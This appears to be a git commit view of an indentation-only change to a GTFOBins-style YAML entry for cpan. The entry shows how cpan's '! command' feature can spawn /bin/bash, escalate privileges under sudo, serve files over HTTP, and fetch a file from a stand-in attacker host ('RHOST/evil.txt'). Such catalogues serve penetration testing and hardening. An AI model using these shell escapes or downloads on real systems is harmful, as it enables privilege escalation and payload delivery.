indentation fixes

This commit is contained in:
Shaksham Jaiswal 2018-11-06 10:57:38 +05:30 committed by Emilio
parent b3a6e93b78
commit e600a4e610

View File

@ -1,7 +1,7 @@
--- ---
functions: functions:
shell: shell:
- description: cpan lets you execute perl commands with `! command` - description: cpan lets you execute perl commands with `! command`
code: | code: |
$ cpan $ cpan
cpan[1]> ! exec '/bin/bash' cpan[1]> ! exec '/bin/bash'
@ -19,10 +19,10 @@ functions:
cpan[1]> ! cpan[1]> ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run(); cpan[1]> ! cpan[1]> ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
file-download: file-download:
- description: Fetch a remote file via HTTP GET request and store it in PWD. - description: Fetch a remote file via HTTP GET request and store it in PWD.
code: | code: |
$ cpan $ cpan
cpan[1]> ! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch(); cpan[1]> ! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch();
sudo: sudo:
- code: | - code: |
@ -30,4 +30,3 @@ functions:
cpan[1]> ! exec '/bin/bash' cpan[1]> ! exec '/bin/bash'
--- ---